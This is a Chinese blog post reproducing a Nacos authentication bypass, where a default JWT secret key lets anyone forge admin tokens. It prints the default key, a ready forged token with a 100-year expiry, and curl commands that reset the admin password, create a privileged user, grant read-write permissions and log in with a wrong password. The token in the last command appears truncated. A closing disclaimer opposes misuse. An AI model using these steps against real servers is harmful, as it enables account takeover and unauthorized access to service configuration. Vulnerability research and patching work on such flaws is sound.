写在前面
Nacos几个月前的漏洞,前两周看到cert发的推送,简单复现打卡。
目录
0x01 漏洞原理
0x02 影响版本
0x03 利用方式
0x04 参考
漏洞原理
docker 启动 nacos 开启认证并配置NACOS_AUTH_TOKEN时,secret.key并未生效,依然使用默认的key。外部攻击人员可以使用这个默认的key生成nacos用户的jwt认证token,并访问OpenAPI接口,达到权限绕过访问后台资源的目的。默认secretkey:
SecretKey012345678901234567890123456789012345678901234567890123456789
影响版本
0.1.0 <= Nacos <= 2.2.0
利用步骤
获取任意一个nacos的accessToken放到jwt.io,修改为默认的secretkey和未来的一个时间戳,可以生成万能accessToken。如下面是一个默认的accessToken
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzIwMH0.2dhqPPzwwmrnekYpxCR1nWooJhnlrJBu0HuNct0JsUQ
放到jwt.io
时间戳改为当前时间戳加五个小时(accessToken的时间是过期时间,所以往后加几个小时),密钥改为
SecretKey012345678901234567890123456789012345678901234567890123456789
获取时间戳
生成新accesstoken
后来突然想到直接时间戳往后面加100年,accesstoken可以一直用,再也不用重新生成
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y
利用一:修改nacos用户密码,密码修改为123456
curl -X PUT "http://10.53.1.3:8082/nacos/v1/auth/users?username=nacos&newPassword=123456&pageNo=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y"
考虑到修改nacos密码可能影响生产,利用二:新建test1用户
curl "http://10.53.1.3:8082/nacos/v1/auth/users" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y" -d "username=test1&password=test1"
可以登录但是没有权限
将test1用户添加到TEST用户组
curl "http://10.53.1.3:8082/nacos/v1/auth/roles" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y" -d "role=TEST&username=test1"
给与TEST用户组读写public权限
curl "http://10.53.1.3:8082/nacos/v1/auth/permissions" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y" -d "role=TEST&resource=%3A%2A%3A%2A&action=rw"
利用三:利用accesstoken登录,密码错误也可以直接登录。最推荐的利用方式
curl "http://10.53.1.3:8082/nacos/v1/auth/users/login" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0XeCzhSZQzg6Y" -d "username=nacos&password=1"
抓包放包即可
参考
https://zhuanlan.zhihu.com/p/602021283
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。